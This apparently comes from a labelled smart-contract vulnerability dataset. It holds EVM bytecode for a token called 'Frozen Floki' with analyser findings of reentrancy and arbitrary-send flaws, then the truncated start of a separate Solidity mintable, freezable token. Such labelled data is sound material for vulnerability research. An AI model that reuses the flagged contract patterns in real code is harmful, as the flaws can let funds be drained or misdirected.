0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600c81526020017f46726f7a656e20466c6f6b690000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f46726f7a656e466c6f6b69000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c2634c806e1f7326532348977a84712cccd7a4d6a242929d7adb5a4a6c5aa72b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,088
0x0682c57e3b81556a05704279d83d4843ae739d43
pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return 